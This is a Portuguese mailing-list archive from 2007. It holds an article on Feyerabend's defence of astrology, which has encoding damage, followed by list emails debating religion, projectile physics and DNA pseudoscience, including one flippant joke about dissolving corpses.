A ci�ncia, diz-se com freq��ncia, � um processo de autocorre��o que a
interfer�ncia externa s� pode perturbar. Mas a democracia tamb�m � um
processo autocorretivo, e a ci�ncia, sendo parte dela, pode portanto ser
corrigida pelas corre��es na entidade mais abrangente (Feyerabend, 1996,
p.154).

Chalmers faz uma s�ntese da posi��o de Feyerabend quanto ao estatuto
epistemol�gico da ci�ncia:

Paul Feyerabend � um dos fil�sofos mais lidos que se op�e a e zomba dessas
venera��es da ci�ncia. Segundo algumas de suas formula��es mais radicais, as
atitudes atuais em rela��o � ci�ncia equivalem a nada menos que uma
ideologia representando um papel afim ao que desempenhou o cristianismo na
sociedade ocidental, algumas centenas de anos atr�s, e da qual devemos nos
livrar (Chalmers, 1994, p.13).

� importante lembrar que Feyerabend n�o � contra a ci�ncia, mas apenas um
cr�tico contumaz da arrog�ncia da comunidade cient�fica. Al�m disso, para
ele, n�o se trata de n�o haver m�todos, regras ou crit�rios em ci�ncia. O
que ele diz � que "todas as regras t�m os seus limites e que n�o existe uma
'racionalidade' englobante. N�o sustento que devamos proceder sem regras nem
crit�rios" (Feyerabend, 1993c, p.314).

[6] Por mais problem�tica e mal-entendida que seja essa afirma��o, n�o me
parece que ele esteja voltando � id�ia de universalidade, mas apenas
destacando a integra��o entre as culturas.
[7] � importante notar que Feyerabend distingue o anarquismo pol�tico do
epistemol�gico, fazendo cr�ticas ao anarquismo profissional, especialmente �
sua aceita��o dos severos padr�es do suposto m�todo cient�fico.

A rela��o de poder entre
Astrologia e Ci�ncia Cristina Machado

In�cio do artigo<http://www.constelar.com.br/constelar/109_julho07/feyerabend1.php>|
Parte 3
Feyerabend contra 186 cientistas

A posi��o de Feyerabend no texto "O estranho caso da astrologia" (1993b,
pp.82-90) � simp�tica � astrologia e, como toda a sua obra, � uma den�ncia
do dogmatismo irracionalista da comunidade cient�fica, que ataca de maneira
implac�vel a astrologia, baseada num conhecimento superficial n�o apenas da
astrologia, mas tamb�m da hist�ria da cultura e da pr�pria hist�ria da
ci�ncia [8]. O pretexto para o desabafo contido neste texto � a declara��o
de 186 cientistas contra a astrologia na publica��o *The Humanist* (Kurtz,
1975), que reduz o assunto a uma querela entre a raz�o luminosa e o
charlatanismo obscurantista, em vez de encarar a astrologia como poss�vel
objeto de estudo. Assim come�a a declara��o:

Cientistas de diversas �reas preocupam-se com a aceita��o crescente da
astrologia em muitas partes do mundo. N�s, abaixo-assinados - astr�nomos,
astrof�sicos e cientistas de outras �reas -, devemos alertar a opini�o
p�blica contra a aceita��o incondicional das predi��es e conselhos dados,
privada ou publicamente, pelos astr�logos. Aqueles que desejam acreditar na
astrologia devem saber que n�o h� fundamento cient�fico em seus princ�pios
(ibid., p.4).

Segundo Feyerabend, a declara��o apresenta um tom religioso, argumentos
analfabetos e exposi��o autorit�ria. Para ele, esses cientistas n�o sabem do
que falam: n�o conhecem a astrologia e acham que isso n�o � obst�culo para
insultarem-na publicamente. Feyerabend compara esse documento com a bula do
papa Inoc�ncio VIII, citada no *Malleus Maleficarum* [9], pois percebe que
tanto o papa como os 186 cientistas lamentam a popularidade crescente de
concep��es que consideram suspeitas. No entanto, Feyerabend ressalta
ironicamente que a diferen�a � que o papa e os doutores da igreja sabiam do
que estavam falando, ao contr�rio dos cientistas. At� mesmo Carl Sagan,
reconhecidamente cr�tico da astrologia, recusou-se a assinar esse documento,
por consider�-lo autorit�rio (Sagan, 1997, p.295). [10]

Para Feyerabend, esses cientistas desconhecem as pr�prias concep��es
modernas de astronomia e f�sica que tentam usar contra a astrologia. Ele
cita, por exemplo, as rela��es de interc�mbio que determinam a atividade
solar em rela��o � posi��o dos planetas, os desvios dos valores de certas
rea��es qu�micas, principalmente da estrutura da �gua, e a sensibilidade de
certos organismos �s mar�s e �s fases da lua. Al�m disso, como podemos ver
no pr�prio Sagan, o fato de n�o haver ainda um mecanismo pelo qual a
astrologia pudesse funcionar n�o � suficiente para que ela seja considerada
uma pseudoci�ncia, dado que grandes problemas cient�ficos, como o do
deslocamento dos continentes, inicialmente tamb�m n�o apresentavam nenhuma
explica��o (Sagan, 1997, p.295).
Voltando � declara��o:

*The Humanist*, prestigiosa revista de cultura, abrigou em 1975 um
preconceituoso manifesto contra a Astrologia.

Antigamente, as pessoas acreditavam nas predi��es e nos conselhos dos
astr�logos porque a astrologia* fazia parte da sua vis�o m�gica do mundo*.
Elas consideravam os objetos celestes como morada ou aug�rio dos deuses e,
portanto, intimamente ligados aos eventos terrestres. Eles n�o tinham id�ia
das vastas dist�ncias da Terra aos planetas e estrelas. Atualmente, que
essas dist�ncias foram calculadas, � poss�vel saber como s�o infinitamente
pequenos os efeitos gravitacionais e de outras naturezas produzidos pelos
distantes planetas e pelas ainda mais distantes estrelas. � simplesmente um
erro imaginar que for�as exercidas por estrelas e planetas no momento do
nascimento podem de alguma maneira delinear nossos futuros. Tamb�m n�o �
verdade que a posi��o de corpos celestes distantes torne certos dias ou
per�odos mais favor�veis a determinados tipos de a��o, ou que o signo sob o
qual se nasceu determine a compatibilidade ou incompatibilidade com as
outras pessoas.

Por que as pessoas acreditam em astrologia? Nesses tempos de incerteza,
muitos precisam do conforto de uma orienta��o na tomada de decis�es. Eles
gostariam de acreditar em um destino predeterminado por for�as astrais al�m
de seu controle. No entanto, n�s precisamos enfrentar o mundo e perceber que
nosso futuro reside em n�s mesmos, e n�o nas estrelas.

Esperaria-se que, em uma �poca de ampla difus�o de informa��es e educa��o,
n�o fosse necess�rio destronar *cren�as baseadas em magia* e supersti��o,
entretanto, a aceita��o da astrologia invade a sociedade moderna. Estamos
especialmente preocupados com a dissemina��o acr�tica cont�nua de mapas
astrol�gicos, previs�es e hor�scopos pela m�dia e por jornais, revistas e
livros de reputa��o. Isso s� pode contribuir para o crescimento do
irracionalismo e do obscurantismo. Acreditamos que chegou a hora de
contestar, direta e energicamente, as afirma��es pretensiosas dos charlat�es
da astrologia.

� preciso esclarecer que as pessoas que continuam tendo f� na astrologia o
fazem independentemente do fato de n�o haver base cient�fica comprovada para
suas cren�as e, na verdade, o que h� � uma forte evid�ncia do contr�rio
(Kurtz, 1975, p.4).

Contra o argumento dos cientistas de que a astrologia baseia-se na magia,
Feyerabend declara que: 1) eles n�o podem afirmar isso pois n�o s�o
etn�logos e n�o conhecem os resultados mais recentes dessa disciplina; 2) a
concep��o de hist�ria embutida nesta declara��o baseia-se no mito do
progresso e na superioridade cient�fica do homem moderno ocidental; e 3) a
ci�ncia tamb�m esteve vinculada � magia, logo, deveria ser recha�ada tamb�m,
se a astrologia o fosse por esse motivo.

Feyerabend considera que ainda h� outros erros menores subentendidos nessa
declara��o e nas posi��es geralmente defendidas pelos cientistas:

1. Considerar que a astrologia acabou quando Cop�rnico descreveu o
sistema helioc�ntrico (Kepler, herdeiro intelectual de Cop�rnico, fazia
mapas astrol�gicos);
2. Criticar o fato de a astrologia mostrar tend�ncias e n�o
acontecimentos fixos (outras ci�ncias, como a gen�tica, por exemplo, tamb�m
s� mostram tend�ncias);
3. Criticar as contradi��es da astrologia ("qualquer teoria
medianamente interessante est� em contradi��o com v�rios resultados
experimentais. Nisso, a astrologia � semelhante ao mais respeit�vel programa
cient�fico de investiga��o" [Feyerabend, 1993b, p.88]);
4. Apelar � psicologia, j� que n�o conseguiram material de apoio de
seus pr�prios colegas bi�logos e astr�nomos (os testes psicol�gicos e a
psican�lise n�o s�o menos pol�micos).

N�o se deve pensar, entretanto, que Feyerabend trate a astrologia de maneira
m�ope, sem perceber seus problemas. Ele critica a pr�tica da astrologia por
pessoas que transformaram id�ias interessantes e profundas em caricaturas
que se ajustam �s suas limita��es, reduzindo a astrologia a um dep�sito de
regras ing�nuas e frases �teis, al�m de n�o fazerem nada para desbravar
novos horizontes ou aumentar nosso saber acerca das influ�ncias
extraterrenas. Mas n�o � isso que os cientistas criticam, eles preferem
criticar os princ�pios astrol�gicos, caricaturando-os (assim como alguns
astr�logos), por ignor�ncia, vaidade e desejo de poder.

[8] � importante lembrar que Feyerabend n�o concebe a ci�ncia como um
conhecimento privilegiado, tendo em vista que, em �ltima an�lise, imp�s-se
pela for�a e n�o por nenhum outro fator. Portanto, seu estatuto
epistemol�gico � equivalente ao de qualquer outra forma de pensamento.

[9] Escrito por inquisidores, em 1484, este documento foi, durante 4
s�culos, o manual oficial da Inquisi��o, que levou � tortura e � morte mais
de 100 mil mulheres, acusadas, entre outras coisas, de copularem com o
dem�nio. Isso se deu num momento de pensamento pr�-cartesiano em que se
constitu�am as na��es modernas.

[10] � importante esclarecer que Carl Sagan considera a astrologia uma
pseudoci�ncia, entretanto, n�o pelos motivos expostos no manifesto contra a
astrologia, que, como dito anteriormente, ele considera autorit�rio (Sagan,
1997, p.296). Mas faz uma breve lista de cr�ticas � astrologia, muito
semelhantes �s de Hoffmann (1994) e Gewandsznajder (1998), que se alinham a
uma perspectiva da astrologia como pseudoci�ncia. Entretanto, como j�
repetimos exaustivamente aqui e em outros lugares, ainda que esse
vocabul�rio fosse pertinente, a fronteira entre os conceitos de ci�ncia e
pseudoci�ncia n�o � nada clara, tratando-se mais de uma quest�o
�tico-pol�tica do que propriamente epistemol�gica.
Considera��es finais

Feyerabend fornece indica��es de como seria olhar para a astrologia com os
olhos da nova filosofia da ci�ncia, considerando perfeitamente aceit�veis
suas contradi��es e o fato de trabalhar com tend�ncias e n�o acontecimentos
fixos. Al�m disso, a quest�o da demarca��o e o seu vocabul�rio n�o fazem
mais sentido nesse novo contexto, principalmente porque as ci�ncias passam a
ser entendidas como objetos hist�ricos, e as tradi��es de pesquisa que
estabelecem � que s�o respons�veis por definir n�o s� a metodologia, mas a
sua pr�pria ontologia. Isto �, o recorte de mundo sobre o qual se vai
trabalhar e as regras que ali se aplicar�o n�o s�o dados *a priori*, e sim
definidos ao longo da pesquisa. Nos termos de Feyerabend, "n�o seguimos
somente as regras, mas as constitu�mos e as modificamos com o nosso modo de
proceder" (Feyerabend, 2001, p.56), ou seja, o significado das regras emerge
do uso, n�o � dado de antem�o, e

a ci�ncia � o resultado da pesquisa, n�o da observa��o de regras, e por isso
n�o se pode julgar a ci�ncia com base em abstratas regras epistemol�gicas, a
menos que tais regras n�o sejam o resultado de uma *pr�tica* epistemol�gica
especial e constantemente mutante (ibid., 2001, p.57).

Do ponto de vista da pr�tica cient�fica, que se imp�e independentemente da
filosofia da ci�ncia e suas discuss�es conceituais sobre demarca��o, podemos
identificar algumas cr�ticas recorrentes � astrologia, como as de Sagan
(1997), Hoffmann (1994) e Gewandsznajder (1998), que apelam a testes
emp�ricos e conceitos astrol�gicos que consideram equivocados. No entanto,
como j� sugerimos, essas cr�ticas n�o se baseiam em crit�rios
epistemol�gicos, supostamente respons�veis por fazer a demarca��o entre o
que � cient�fico ou n�o, e sim em crit�rios �tico-pol�ticos, muitas vezes
com leg�timos fins pedag�gicos. � claro que a astrologia apresenta, como
qualquer outro saber, problemas te�ricos e dificuldades emp�ricas que devem
ser pensados e repensados no interior da comunidade astrol�gica, mas, como
vimos, isso n�o � justificativa para lhe atribuir um estatuto qualquer e
encerrar o assunto, mas sim para continuar investigando.

Para finalizar, tendo em vista a fal�ncia dos modelos normativos de
filosofia da ci�ncia - que s�o tribut�rios de uma concep��o idealizada, na
qual, al�m de ser neutra, uniforme e universal, a ci�ncia deve ser
diferenciada de outras formas de saber para ser leg�tima -, nos dias de
hoje, chamar a astrologia ou qualquer outra disciplina de pseudoci�ncia ou �
plataforma pol�tica, ou � um discurso epistemol�gico bastante anacr�nico.
Bibliografia

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POPPER, K. R. *A l�gica da pesquisa cient�fica.* Tradu��o de Leonidas
Hegenberg e Ocatnny Silveira da Mota. SP: Editora Cultrix, 1975b.
SAGAN, C. *Um mundo assombrado por dem�nios. *Tradu��o de Rosaura
Eichemberg. SP: Companhia das Letras, 1996.

*NOTA DE CONSTELAR:*

Este trabalho foi selecionado para apresenta��o p�blica no XI Congresso
Gente de Astrologia, em Buenos Aires, em junho de 2007, concorrendo com
textos de toda a Am�rica Latina. Cristina Machado n�o p�de comparecer, mas
seu texto, em vers�o espanhola, foi integrado � colet�nea do evento,
distribu�da em CD.

Outros artigos de *Cristina
Machado*<http://www.constelar.com.br/constelar/indices/autores_c.php#cristinamachado>
.


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Re: [ciencialist] armas do futuro
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/07/2007 01:19

> Qual seria o sabão em pó mais indicado para dissolver cadáveres?
> Cometer esse OMOcídio (genial, hein? hein?)?

Os superácidos dariam conta deste recado com facilidade e não precisa
de muita tecnologia para fazê-los. O efeito é surpreendente.
Esteban.


SUBJECT: Re: [ciencialist] Re: Ernst Mayr e a filosofia da biologia :(OT/2) o outro (1/2) é do Alvaro!
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/07/2007 21:36

De: "Alvaro Augusto (U)"

>Blogs são o futuro! No futuro haverá pequenos deuses com super-poderes
individuais, não um único deus com todos os super-poderes. Precisamos
democratizar a divindade!

Fala isso pro papa!
Por outro lado (*) (um dia vou descobrir que lado é esse!), divindade não pode ser democratizada; é ser (?) sobrenatural, extraterreno, com poderes que os coitados dos humanóides nunca poderão ter ... e, aqueles que acreditam neles, sempre deverão se curvar à sua passagem, puxar o saco, ser submisso ... e chamar de 'senhor', 'meu deus', 'minha divindade', 'meu suprasumo' ... sempre algo superior.
Não é assim?

(*) me faz lembrar da definição de ilha do prof. de geografia: uma porção de terra cercada de água por todos os lados. Bem, pelo lado de baixo deve se referir aos lençóis freáticos e pelo lado de cima às nuvens! Deve ser isso.

[]'
Léo


SUBJECT: Re: [ciencialist] A sociedade como soma de indivíduos
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/07/2007 22:34

Manuel Bulcão escreveu: [ Demais, foi através de Cristo que a razão crítica
(razão esta que Popper, no século XX, deu o acabamento final) veio ao mundo.
"Pai, por que me abandonaste?" (Mateus, XXVI, 46). Vemos, nessa interrogação
dolorosa, a razão questionando a própria razão e, ipso facto, o direito ao
questionamento erigido a
princípio teológico. ]
.....................................

Caro, Bulcão! A citação de Mt 26,46 "Meu Deus, meu Deus, por que me
abandonaste?", pronunciada por Jesus Cristo durante o tortura da
crucificação, é uma oração a Deus contida no Salmo 22 (21). É um grito de
angústia real, mas não de desespero, pois o texto em sua continuação vem
seguido por uma certeza jubilosa do orante ao triunfo final - conforme notas
de rodapé da Bíblia de Jerusalém.
[]s
José Renato
.....................................

----- Original Message -----
From: "Manuel Bulcão" <manuelbulcao@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, June 17, 2007 9:03 PM
Subject: [ciencialist] A sociedade como soma de indivíduos


Oi pessoal,

Andei lendo o blog do Rodrigo Constantino. O cara é bom, muito
inteligente, erudito. Entretanto, no mais recente artigo dele, "As
Sete Maravilhas", cometeu algumas bobagens, a começar pela asserção
segundo a qual "a sociedade não passa de um somatório de indivíduos"
(sobre essa afirmação, gostaria que os adeptos da sociobiologia da C-
List tecessem alguns comentários).

Incomodado com tamanha baboseira ultraliberalóide, resolvi publicar,
no próprio blog do autor, a seguinte mensagem:

"A sociedade não passa de um somatório de indivíduos, e seria mais
saudável que as pessoas passassem a julgar - para o bem e para o mal -
atos individuais. Eu tenho mais respeito e afinidade por um
australiano distante que defenda a liberdade individual do que por um
vizinho marxista. Por esses motivos acima, não quero saber de voto em
Cristo Redentor!" (Rodrigo Constantino)

Constantino,

Uma sociedade não é um somatório de indivíduos, mas uma "estrutura".
Soma de "indivíduos" é uma colônia de bactérias, haja vista que uma
monera singular, via de regra, não depende das outras nem mesmo para
se reproduzir.

Toda sociedade é um complexo de "relações" entre indivíduos: relações
sexuais, relações afetivas ou de cuidado (como a das mães com as suas
proles), relações de cooperação, relações de troca, relações de
aprendizado, relações de dominação ou hierárquicas etc.

Você, um liberal que cultua o Indivíduo, fala que, em nossos
julgamentos, deveríamos nos ater - para o bem e para o mal - aos atos
individuais. Ora, como julgar Goethe, e em particular a sua obra-
prima "Fausto", sem levar em conta o empreendimento etnológico ou
a "criação coletiva" em que ele se inspirou: a "lenda" de Fausto? E
como avaliar esse "ato individual" que é a obra "Grande Sertão:
Veredas", de Guimarães Rosa, sem considerar a matéria-prima dessa
magnífica obra, a saber, o folclore mineiro, que, como todo folclore,
é construção coletiva? (poderia, ainda, celebrar as estupendas
criações "individuais" de Ariano Suassuna, Patativa de Assaré e até
Homero, que modelaram suas obras tendo por barro os mitos e lendas -
empreendimentos coletivos e anônimos - do seu povo.

Você afirma que prefere o significado da estátua da Liberdade ao do
Cristo Redentor. Ora, até para um ateu não bitolado, Cristo é símbolo
de muitas coisas boas. Com efeito, quando Jesus afirmou "meu reino
não é deste mundo" e "dai a César o que é de César e a Deus o que é
de Deus", com essas sentenças estabeleceu-se pela primeira vez a
alvissareira possibilidade (que não existe nos demais monoteísmos
abraâmicos: o judaísmo e o islamismo) da laicização da política, da
separação entre Igreja e Estado. Demais, foi através de Cristo que a
razão crítica (razão esta que Popper, no século XX, deu o acabamento
final) veio ao mundo. "Pai, por que me abandonaste?" (Mateus, XXVI,
46). Vemos, nessa interrogação dolorosa, a razão questionando a
própria razão e, ipso facto, o direito ao questionamento erigido a
princípio teológico.

Sim, o Cristo Redentor não é apenas bonito.

De resto, ao contrário de você, não costumo reduzir as pessoas às
suas crenças. Sou de centro-esquerda. Não obstante isso, tenho mais
respeito ao meu vizinho liberal de direita (um homem íntegro e bom)
do que por canalhas que pensam igualzinho a mim, não importando onde
vivam (Lembro que também há muitos liberais calhordas).

Abraço.
4:26 PM

Manuel Bulcão



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SUBJECT: Re: [ciencialist] Re: A sociedade como soma de indivíduos
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/07/2007 22:56

Sobre essa eleição das "novas" sete maravilhas do mundo, João Ubaldo Ribeiro
faz uma incursão interessante em sua coluna de domingo passado, 01.07.07, no
jornal A TARDE, quando apresenta Declarações Exclusivas do "próprio" Cristo
Redentor.

Em uma das declarações consta:

[ - ...Me homenagear não é chegar à Europa dando vexame e passando por
mentiroso, para dizer que esta minha estátua é Maravilha do Mundo. Homenagem
mesmo seria vocês lutarem a sério para resolver seus problemas, conforme eu
ensinei.
- Mas o senhor disse que, quando se é esbofeteado numa face, se deve
oferecer a outra.
- Lá vem burrice. As Escrituras são aparentemente contraditórias porque a
vida é contraditória, rapaz. Então, existe a hora de dar a outra face e a
hora de fazer o que eu fiz no Templo, quando botei aquela corja de agiotas
safados para fora de lá debaixo de porrada.
- Então, o senhor está aconselhando que a gente...
- Eu não estou aconselhando nada, o mundo foi entregue a vocês. Só conte o
que eu lhe disse, basta isso. Juízo, e até logo. ... ]

[]s

José Renato
......................................................

From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, July 06, 2007 7:33 PM
Subject: [ciencialist] Re: A sociedade como soma de indivíduos


--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> Esse pessoal adora uma lista...

Um grupo q não gostou da lista das novas maravilhas:

Vaticano reclama: Maravilhas do Mundo ignoram cristandade
http://blog.estadao.com.br/blog/guterman/?title=vaticano_reclama_maravilhas_do_mundo_ign&more=1&c=1&tb=1&pb=1

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Jogar uma bola a 100km/h de um carro a 100km/h
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/07/2007 23:47

Takata escreveu: [ Claro q não, Zerê... a aceleração gravitacional
proporciona uma equação de segundo grau para o deslocamento vertical, mas a
aceleração
horizontal tb gera uma equação de segundo grau para o deslocamento
horizontal. E isso NÃO gera uma parábola. ]
..................................................................

E como é que vc separa as componentes vertical e horizontal no movimento da
bola? O movimento da bola em questão é único e composto. Não me parece
adequado, para esse caso, o seu argumento diversionista acima. Tanto que em
minha contestação à sua colocação (Além disso, um objeto q tem aceleração
horizontal e vertical cai em diagonal reta e não em arco de parábola.)
escrevi especificamente me referindo à aceleração gravitacional, veja : [ É
sim, Tanaka! Pois a *aceleração gravitacional* é que gera a equação de
segundo grau de uma trajetória parabólica. ]
Não falei em parábola - pelo menos, não daquelas bonitinhas, simétricas e
perfeitas que costumamos utilizar até em problemas de lançamento de
projéteis, desconsiderando a resistência do ar - mas sim em *trajetória
parabólica*. Em curva com aparência de parábola ou parabólica.

Observe também que a bola sofre a ação do ar de modos contrários durante seu
movimento: aceleração por arrasto, provocado pelo ar deslocado pelo carro, e
uma desaceleração pela resistência do ar, após cessar o empuxo inicial na
direção do movimento do carro.

O que não pode ser escondida ou disfarçada em argumentos aparentemente
preciosistas é a sua estranha afirmação se referindo à questão carro-bola,
de que [ ... um objeto q tem aceleração horizontal e vertical cai em
*diagonal reta* e não em arco de parábola. ]

Faço outros comentários no corpo do e-mail abaixo, após JR1 -, OK?

....................................................................
From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, July 07, 2007 2:24 AM
Subject: [ciencialist] Re: Jogar uma bola a 100km/h de um carro a 100km/h


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> JR - E não é mesmo tão significativo, como podemos ver pela pequena
> inclinação ou amplitude do primeiro trecho de descida da bola, após
> o lançamento. O que afirmo é que, certamente, o empuxo do vento
> sobre a bola ocorre nesse evento.

Novamente, o vento não poderá ser significativo. Isso quer dizer q
essa pequena inclinação da bola na descida logo após o lançamento NÃO
pode se dever a uma ação do vento - se o vento contribuir para essa
inclinação será uma contribuição mínima.
JR1 - É uma contribuição mínima o suficiente para considerá-la existente...

> A nossa experiência e conhecimento indicam q uma caminhoneta a 100
> km/h NÃO produz ventos de 64 km/h...
> JR - Por que, não? Se o carro se desloca a 100km/h, há probabilidade
> de que alguma parte do ar deslocado por ele alcance velocidades até
> próxima desse valor.

Provas, por favor. Lembre-se de q o vento tem q ser suficiente para
deslocar uma bola de beisebol.
JR1 - Prova? Veja no vídeo a inclinação da trajetória da bola para a
esquerda...

> Além disso, um objeto q tem aceleração horizontal e vertical cai em
> diagonal reta e não em arco de parábola.
> JR - É sim, Tanaka! Pois a aceleração gravitacional é que gera a
> equação de segundo grau de uma trajetória parabólica.

Claro q não, Zerê... a aceleração gravitacional proporciona uma
equação de segundo grau para o deslocamento vertical, mas a aceleração
horizontal tb gera uma equação de segundo grau para o deslocamento
horizontal. E isso NÃO gera uma parábola.
JR1 - O movimento em questão não é promovido apenas por uma aceleração
horizontal, logo o que vale nesse caso é o que escrevi acima.

Uma rápida análise matemática ajuda a entender isso.

deltaSy = Vyo.t + 1/2.ay.t^2 [1]
deltaSx = Vxo.t + 1/2.ax.t^2 [2]

Consideremos Vyo e Vxo como iguais a zero.

deltaSy = 1/2.ay.t^2 [3]
deltaSx = 1/2.ax.t^2 [4]

ay = g
ax = aceleração produzida pelo vento.

deltaSy = 1/2.g.t^2 [5]
t^2 = 2.deltaSy/g [6]

Substituindo t^2 em [4]

deltaSx = 1/2.ax.2.deltaSy/g [7]
deltaSx = (ax/g).deltaSy [8]

(ax/g) é uma constante dado q g e ax sejam constantes.

Assim a função q descreve a variação de deltaSx em função de deltaSy -
q descreve a trajetória da bola é uma equação LINEAR, do tipo y = a.x
+ b. Nada de parábolas.

Se duvida pegue o Excel e faça simulações numéricas com QUALQUER ax e
plote em um gráfico de Sx por Sy.
JR1 - Demonstrar que um movimento acelerado horizontal ou vertical não gera
trajetórias parabólicas não está em questão. O movimento em questão têm a
componente da aceleração gravitacional. Não se reduz às fórmulas acima.

[]s,
Roberto Takata

[]s
José Renato
.................................................



SUBJECT: MILAGRES NOS TEMPOS MODERNOS: DO DNA AO BOM SENSO
FROM: Alessandro Loiola <alessandroloiola@yahoo.com.br>
TO: alessandroloiola@yahoo.com.br
DATE: 08/07/2007 23:50

DR. ALESSANDRO LOIOLA – SAÚDE PARA TODOS - 08/07/2007 - No.054 – ANO II
http://br.groups.yahoo.com/group/saudeparatodos

© Dr. Alessandro Loiola - mailto: alessandroloiola@yahoo.com.br

Convide seus amigos para uma dose diária de saúde (assinar ou cancelar no final).
___________________________________________________________________

Olá,

Se você já passou um pouquinho dos 30 anos de idade, talvez se lembre de um programa que marcou época na TV no começo dos anos 80: apresentada pelo astrônomo Carl Sagan, a série COSMOS se tornou um dos mais formidáveis exemplos de como a ciência de verdade pode ser compreensível, atraente, emocionante e não menos surpreendente que as teorias fantasiosas da “pseudociência”.

Em seu livro “O Mundo Assombrado pelos Demônios” – um dos meus preferidos -, Sagan avança ainda mais neste terreno pedregoso, mostrando como a Pseudociência pode obscurecer a beleza e a admiração que a verdadeira ciência deveria inspirar.

Infelizmente, a Pseudociência costuma ostentar nuances mais atraentes, cheias de confetes e fogos de artifício, facilitando seu acesso à mídia e o apelo junto às massas.

A Internet está repleta de relatos de Pseudociência. Vez ou outra, um desses relatos faz check-in no meu e-mail e me sinto compelido a escrever uma resposta. Este foi o caso da mensagem que falava sobre milagres do DNA e que deu origem à crônica de hoje. Espero que você goste.

Um abraço,

Dr. Alessandro Loiola.
___________________________________________________________________


MILAGRES NOS TEMPOS MODERNOS: DO DNA AO BOM SENSO

© Dr. Alessandro Loiola

Uma amiga baiana mandou um e-mail esta semana querendo tirar algumas dúvidas. Pude até imaginar como perguntaria pessoalmente:

- Sabe, tem tanta coisa absurda circulando na Internet que tem vez que fica difícil separar o joio do trigo, né meu rei?

Neste caso, ela queria saber o que era sério e o que não passava de pura crendice depois de receber uma notícia bombástica sobre experimentos científicos realizados com o DNA. Esta pesquisa secreta – pasmem ! - comprovavam uma miraculosa capacidade do DNA para transmitir emoções através de campos de energia. Sim, desse nível. Imediatamente, lembrei-me do maravilhoso filme "A Menina e o Porquinho".

Se você não assistiu, permita-me fazer uma breve introdução: na película, uma aranha tenta evitar que um porquinho de excelente índole vá para a panela. Para tanto, ela começa a escrever palavras com sua teia, tentando comunicar aos humanos o valioso caráter do jovem leitão. Logo uma pequena multidão começa a visitar a fazenda e o celeiro, admirada com o “milagre”.

Na mesma fazendo da aranha escritora moram um casal e sua filha, uma menina apaixonada por todos os bichos do local e, em especial, pelo porco. Preocupada com os recentes acontecimentos, a mãe procura o médico da cidade vizinha: seria sua filha a responsável pelas palavras na teia da aranha?

Abre parênteses:

- Só pode ser ela, doutor. Pense bem: o senhor não acha impossível uma aranha escrever com sua teia? - pergunta a mãe, entre aflita e incrédula. - É um absurdo, não um milagre!
- A senhora não acredita em milagres? - questionou o doutor. - Veja bem, a senhora tricota, não? – diz o médico, antes que a mãe possa se manifestar novamente.
- Sim.
- Isso porque ALGUÉM - frisou - lhe ensinou a tricotar, correto?
- Sim, é verdade.
- Mas quem ensinou a aranha, com aquele cérebro menor que a metade de uma cabeça de alfinete, a tecer algo tão incrível quanto sua teia?
- Eu entendo, eu entendo. Mas daí a escrever? Sinceramente...
- Minha senhora, a senhora ainda não entendeu. A aranha não precisa escrever com a teia para ser um milagre. A simples existência teia É o milagre.

Fecha parênteses.

A natureza milagrosa do DNA não precisa ser validada com pesquisas fantasiosas. O DNA é o PRÓPRIO milagre. E isto apenas já deveria ser explicação suficiente para uma espécie que se diz chamar Homo sapiens (Sapiens??).

Para compreender a extensão da nossa cegueira, vamos um pouco além, ainda na biologia e distante da metafísica. Na noite em que seus pais lhe conceberam, 250 milhões de espermatozóides viajaram para encontrar 1 dos mais de 500 óvulos de sua mãe. Fosse um outro óvulo, ou o vizinho daquele espermatozóide, você não estaria aqui. Tente fazer uma análise combinatória para ver quantas pessoas diferentes poderiam ter surgido naquela noite ao invés de você...

Pois justamente aquele óvulo e aquele espermatozóide se encontraram e, apesar de todos os riscos inerentes à anfimixia e todo o processo de gestação, você está aí, completando suas primaveras. Você é uma improbabilidade estatística ambulante. Cada um de nós é.

E entre uma translação da Terra e outra, encontramos com alguém na rua que sofreu os mesmos riscos para se formar em humano. De todas as bilhões de estrelas e planetas, e quem sabe bilhões de universos, você e essa outra pessoa se encontram justamente naquele lugar, naquele momento, rodeados de outros seres vivos, e podem se comunicar e trocar sentimentos.

Faça novamente as contas: quais seriam as chances disso ocorrer?

Cada encontro com uma pessoa é um evento único. Cada dia de nossas vidas é como se dobrássemos as leis da Física e as probabilidades Matemáticas mais absurdas. Estamos caminhando contra todo e qualquer cálculo baseado na lógica. E ainda assim, viver parece ser a coisa mais corriqueira do mundo. Quando é um milagre.

Você não precisa quantificar campos magnéticos em moléculas de DNA ou presenciar fenômenos paranormais para perceber que existe algo de muito especial neste mundo. Tudo que você precisa é de um espelho.

E, com alguma sorte, de um pouquinho de lucidez.

---
Dr. Alessandro Loiola é médico, escritor, palestrante, autor de “Vida e Saúde da Criança” e “Crianças em forma: saúde na balança” (http://shoppinglivros.com.br/loja.phtml?f=1&ccat=60&cprod=1300&sess=a75e095792e3f17a7c802ddb1cb2e117). Atualmente reside e clinica em Belo Horizonte, Minas Gerais.
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SUBJECT: Re: [ciencialist] Re: Jogar uma bola a 100km/h de um carro a 100km/h
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/07/2007 23:50

Grato, Luiz, mas a trajetória da questão carro-bola, por diversos motivos,
não é uma reta inclinada!
[]s
José Renata
...................................

From: "Luiz Ferraz Netto" <leobarretos@To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, July 07, 2007 7:20 AM
Subject: Re: [ciencialist] Re: Jogar uma bola a 100km/h de um carro a
100km/h


Vamos simplificar isso:
as duas leis horárias podem ser escritas, nas condições takatianas, assim:
y = 1/2.ay.t^2 ... [1]
